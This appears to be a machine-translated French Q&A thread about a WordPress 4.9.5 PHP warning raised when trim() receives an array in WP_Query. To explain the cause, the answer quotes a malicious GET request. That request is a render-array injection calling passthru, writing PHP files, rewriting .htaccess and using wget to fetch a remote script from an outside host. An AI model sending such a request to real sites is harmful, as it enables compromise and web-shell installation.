web-dev-qa-db-fra.com

Wordpress 4.9.5 PHP avertissement intermittent trim () s'attend à ce que le paramètre 1 soit une chaîne, tableau donné

J'utilise Wordpress 4.9.5 et constate parfois l'erreur suivante dans mes journaux.

E_WARNING: trim() expects parameter 1 to be string, array given

La trace de pile ressemble à ceci, elle ne provient donc pas du code de thème personnalisé.

in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736)
…::parse_query called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (1621)
…ry::get_posts called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (3230)
in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599)
in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715)
in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960)
in wp called at /var/www/wordpress/html/wp-blog-header.php (16)
in require called at /var/www/wordpress/html/index.php (17)

Est-ce un bug Wordpress connu/inconnu et y a-t-il un correctif?

4
crmpicco

J'ai couru dans cette aujourd'hui. C'est un bug. J'ai déposé un rapport de bogue ici:

https://core.trac.wordpress.org/ticket/46797

Le problème est cette ligne de code:

$qv['name'] = trim( $qv['name'] );

Source: https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764

Un utilisateur (malveillant) envoie une demande qui ressemble à:

GET /? Q = utilisateur/mot de passe et nom [#post_render] [] = passthru & nom [#type] = balisage & nom [#markup] = echo 'Vuln !! corrigez-le maintenant! > vuln.htm; echo 'Vuln !!'> sites/default/files/vuln.php; echo 'Vuln !!'> vuln.php; cd sites/default/files /; echo 'AddType application/x-httpd-php .jpg'> .htaccess; wget ' http://40k.waszmann.de/Deutsch/images/up.php '

Une telle requête fait de $ qv ['name'] un tableau et non une chaîne.

Doit être désinfecté.

3
conner_bw